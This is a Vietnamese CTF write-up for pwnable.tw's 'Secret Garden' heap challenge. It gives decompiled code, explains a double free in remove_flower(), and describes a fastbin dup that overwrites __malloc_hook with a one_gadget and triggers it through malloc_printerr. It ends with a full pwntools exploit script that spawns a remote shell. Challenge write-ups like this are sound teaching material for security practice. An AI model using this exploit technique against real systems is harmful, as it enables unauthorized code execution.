pwnable.tw

Secret Garden

tl;dr: Bớt giả định, nhìn xem dòng code đang thực sự làm gì; Ghi one gadget vào realloc hook, ghi realloc vào malloc hook; hoặc ghi one gadget vào malloc hook và double free để trigger malloc printerr.

February 19, 2026 Easy

Recon

Mitigation

$ pwn checksec secretgarden
[*] '/home/hungnt/pwnable.tw/secret-garden/secretgarden'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
$ file secretgarden
secretgarden: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cc989aba681411cb235a53b6c5004923d557ab6a, stripped

GLIBC Version

pwndbg> libc
libc: glibc
libc version: 2.23
linked: dynamically
URLs:
    project homepage:       https://sourceware.org/glibc/
    read the source:        https://elixir.bootlin.com/glibc/glibc-2.23/source
    download the archive:   https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz
    git clone               https://sourceware.org/git/glibc.git
Mappings:
    libc is at:             0x7eed18c00000
           /home/hungnt/pwnable.tw/secret-garden/libc_64.so.6
    ld is at:               0x7eed19000000
           /home/hungnt/pwnable.tw/secret-garden/ld-2.23.so
Symbolication:
    has exported symbols:  yes
    has internal symbols:  yes
    has debug info:        yes

Code

main()

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  char choice[8]; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  setup();
  while ( 1 )
  {
    menu();
    read(0, choice, 4uLL);
    switch ( (unsigned int)strtol(choice, 0LL, 10) )
    {
      case 1u:
        raise_flower();
        break;
      case 2u:
        visit_garden();
        break;
      case 3u:
        remove_flower();
        break;
      case 4u:
        clean_garden();
        break;
      case 5u:
        puts("See you next time.");
        exit(0);
      default:
        puts("Invalid choice");
        break;
    }
  }
}

raise_flower()

int raise_flower()
{
  struct_flower *flower; // rbx
  void *name; // rbp
  _QWORD *v2; // rcx
  int index; // edx
  unsigned int size; // [rsp+4h] [rbp-24h] BYREF
  unsigned __int64 canary; // [rsp+8h] [rbp-20h]

  canary = __readfsqword(0x28u);
  size = 0;
  if ( total_flowers > 99u )
    return puts("The garden is overflow");
  flower = (struct_flower *)malloc(40uLL);
  flower->used = 0LL;
  flower->name = 0LL;
  *(_QWORD *)flower->color = 0LL;
  *(_QWORD *)&flower->color[8] = 0LL;
  *(_QWORD *)&flower->color[16] = 0LL;
  __printf_chk(1LL, "Length of the name :");
  if ( (unsigned int)__isoc99_scanf("%u", &size) == -1 )
    exit(-1);
  name = malloc(size);
  if ( !name )
  {
    puts("Alloca error !!");
    exit(-1);
  }
  __printf_chk(1LL, "The name of flower :");
  read(0, name, size);
  flower->name = (char *)name;
  __printf_chk(1LL, "The color of the flower :");
  __isoc99_scanf("%23s", flower->color);
  LODWORD(flower->used) = 1;
  if ( flowers[0] )
  {
    v2 = &flowers[1];
    index = 1;
    while ( *v2 )
    {
      ++index;
      ++v2;
      if ( index == 100 )
        goto LABEL_13;
    }
  }
  else
  {
    index = 0;
  }
  flowers[index] = flower;
LABEL_13:
  ++total_flowers;
  return puts("Successful !");
}

visit_garden()

int visit_garden()
{
  __int64 index; // rbx
  struct_flower *current_flower; // rax

  index = 0LL;
  if ( total_flowers )
  {
    do
    {
      current_flower = (struct_flower *)flowers[index];
      if ( current_flower && LODWORD(current_flower->used) )
      {
        __printf_chk(1LL, "Name of the flower[%u] :%s\n", (unsigned int)index, current_flower->name);
        LODWORD(current_flower) = __printf_chk(
                                    1LL,
                                    "Color of the flower[%u] :%s\n",
                                    (unsigned int)index,
                                    (const char *)(flowers[index] + 16LL));
      }
      ++index;
    }
    while ( index != 100 );
  }
  else
  {
    LODWORD(current_flower) = puts("No flower in the garden !");
  }
  return (int)current_flower;
}

remove_flower()

int remove_flower()
{
  struct_flower *current_flower; // rax
  unsigned int index; // [rsp+4h] [rbp-14h] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( !total_flowers )
    return puts("No flower in the garden");
  __printf_chk(1LL, "Which flower do you want to remove from the garden:");
  __isoc99_scanf("%d", &index);
  if ( index <= 99 && (current_flower = (struct_flower *)flowers[index]) != 0LL )
  {
    LODWORD(current_flower->used) = 0;          // doesnt free flower, only set used to 0
    free(*(void **)(flowers[index] + 8LL));     // free name but doesnt set null
    return puts("Successful");
  }
  else
  {
    puts("Invalid choice");
    return 0;
  }
}

clean_garden()

unsigned __int64 clean_garden()
{
  _QWORD *current_flower_ptr; // rbx
  _DWORD *current_flower; // rdi
  unsigned __int64 v3; // [rsp+8h] [rbp-20h]

  v3 = __readfsqword(0x28u);
  current_flower_ptr = flowers;
  do
  {
    current_flower = (_DWORD *)*current_flower_ptr;
    if ( *current_flower_ptr && !*current_flower )// only free unused flower
    {
      free(current_flower);                     // free flower but doesnt free name
      *current_flower_ptr = 0LL;
      --total_flowers;
    }
    ++current_flower_ptr;
  }
  while ( current_flower_ptr != &flowers[100] );
  puts("Done!");
  return __readfsqword(0x28u) ^ v3;
}

Solve

remove_flower() chỉ đặt trường used = 0 và free name, nhưng lại ko set trường name về null. Những lần remove_flower() sau vì chỉ check con trỏ flower, nên tiếp tục free name, dẫn đến double free.

Vì glibc hiện đang là phiên bản 2.23, mình lợi dụng fastbin dup để có đc AAW.

Sau khi leak đc libc, mình ghi đè one_gadget vào malloc_hook, nhưng ko thoã mãn đc điều kiện cái nào. Tiếp đến mình thử ghi one_gadget vào realloc_hook, ghi địa chỉ của hàm realloc() vào malloc_hook, nhưng vẫn ko thoả mãn đc cái nào. Cuối cùng, mình lại ghi one_gadget vào malloc_hook, nhưng lần này gây double free, dẫn đến malloc_printerr() đc gọi, bằng theo path nào đó gọi đến malloc_hook nhưng với stack sạch hơn. Và mình đã spawn đc shell.

Thanks to kur0x1412 đã chỉ ra cho mình libc dưới version 2.32 thì malloc ko quan tâm về alignment khi lấy chunk ra từ fastbin, thì mình mới cấp phát đến và ghi đè đc malloc_hook. Và trick double free để gọi malloc_hook như ở trên :)

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("secretgarden_patched", checksec=False)
libc = ELF("libc_64.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)

context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
b *realloc
b *__malloc_hook
# breakrva 0xCD3
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.25)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(1)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10203
        return remote(host, port)

p = conn()

def raise_flower(size, name, color):
    slan(p, b'choice', 1)
    slan(p, b'Length', size)
    sa(p, b'name of flower', name)
    sleep(0.01)
    slan(p, b'color', color)

def visit_garden():
    slan(p, b'choice', 2)

def remove_flower(index):
    slan(p, b'choice', 3)
    slan(p, b'remove', index)

def clean_garden():
    slan(p, b'choice', 4)

raise_flower(0x410, b'A', b'A') # 0
raise_flower(0x60, b'A', b'A') # 1
raise_flower(0x60, b'A', b'A') # 2
raise_flower(0x60, b'A', b'A') # 3

print("Leaking libc")
remove_flower(0)
clean_garden()
raise_flower(0x410, b'A', b'A') # 0

visit_garden()

ru(p, b'flower[0] :')
libc.address = leak_bytes(rn(p, 6), 0x3c3b41)
lg("libc base", libc.address)

print("Overwriting hooks")
remove_flower(1)
remove_flower(2)
remove_flower(1)

malloc_hook = libc.symbols['__malloc_hook']
lg("malloc hook", malloc_hook)
raise_flower(0x60, p64(malloc_hook - 0x23), b'A')

raise_flower(0x60, b'A', b'A')
raise_flower(0x60, b'A', b'A')

one_gadget = libc.address + 0xef6c4
lg("one gadget", one_gadget)

raise_flower(0x60, pad(0x13) + p64(one_gadget), b'A')

print("Trigger malloc printerr")
remove_flower(3)
remove_flower(3)

print("Spawn shell")
rr(p, 1)
ia(p)